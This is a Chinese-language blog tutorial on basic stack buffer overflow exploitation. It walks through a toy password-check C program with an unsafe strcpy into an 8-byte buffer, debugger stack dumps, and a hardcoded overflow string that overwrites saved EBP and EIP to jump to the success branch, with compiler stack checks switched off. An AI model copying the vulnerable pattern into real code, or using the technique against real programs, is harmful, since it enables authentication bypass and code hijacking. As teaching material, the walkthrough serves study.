2.栈溢出简单利用

看代码

#include <stdio.h>
#include "windows.h"
#define  PASSWORD "1234567"
int verify_password(char *password)
{
	int authenticated;
	char buffer[8];
	authenticated=strcmp(password,PASSWORD);
	strcpy(buffer,password);
	return authenticated;
}

int main()
{
	int valid_flag=0;
	char password[1024];
	while (1)
	{
		printf("请输入密码:");
		scanf("%s",password);
		valid_flag=verify_password(password);
		if (valid_flag)
		{
			printf("错误!\n");
		}
		else
		{
			printf("正确!\n");
			break;
		}
	}
	return 0;
}

会点C语言就能看懂吧,有个验证密码是否正确的函数

要注意的一点是要关闭编译时的GZ选项,VC6以上版本关闭GS编译选项

具体方式:vc6工程-设置-c/c++-工程选项里面去掉GZ

       vs C/C++ 代码生成 缓冲区安全检查 否

生成程序输入密码,当输入的为8位但是数值比1234567大时均会通过验证,这是为什么呢?

拿到OD中看下

当输入12345678时,堆栈中如下所示

0012FB18   34333231	;4321
0012FB1C   38373635	;8765
0012FB20   00000000;	;authenticated
0012FB24  /0012FF80;	;ebp


strcmp之后authenticated的值为0000001,strcpy函数用字符串12345678最后一个NULL给覆盖了这个值,所以会通过验证
当我们输入01234567时,因为比1234567小,所以strcmp会返回-1.补码为0xFFFFFFFF,OD中看下

0012FB18   33323130	;3210
0012FB1C   37363534	;7654
0012FB20   FFFFFF00	;authenticated
0012FB24  /0012FF80	;ebp

authenticated为FFFFFF,所以还是不会通过验证的
另外问下为什么我OD中那些像strcpy什么的函数都识别不出来,CALL的都是一个模块内的地址
是不是符号的问题?


下面我们再换种方式

#include <stdio.h>
#include "windows.h"
#define  PASSWORD "1234567"
char *p={
	"\x12\x12\x12\x12\x12\x12\x12\x12"//buffer
	"\x34\x34\x34\x34"//authenticated
	"\xaa\xaa\xaa\xaa"//ebp
	"\xbb\xbb\xbb\xbb"//eip
};
int verify_password(char *password)
{
	int authenticated;
	char buffer[8];
	authenticated=strcmp(password,PASSWORD);
	strcpy(buffer,password);
	return authenticated;
}

int main()
{
	int valid_flag=0;
	char password[1024];
	while (1)
	{
		printf("请输入密码:");
		scanf("%s",password);
		valid_flag=verify_password(p);
		if (valid_flag)
		{
			printf("错误!\n");
		}
		else
		{
			printf("正确!\n");
			break;
		}
	}
	return 0;
}

为了方便测试直接在程序内定义一个字符串,这样编译运行后会弹出一个引用的0xbbbbbbbb内存不能 为read错误,原因就不多说了。

我们把这个0xxbbbbbbbb改为输出正确的分支就可以,拖到OD中找到输出正确的地址,是0x00401106,替换掉就OK 。

运行下就会输出正确了,不过程序之后会崩溃掉,因为栈内EBP被覆盖为无效值,使得程序在退出时堆栈无法平衡。

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值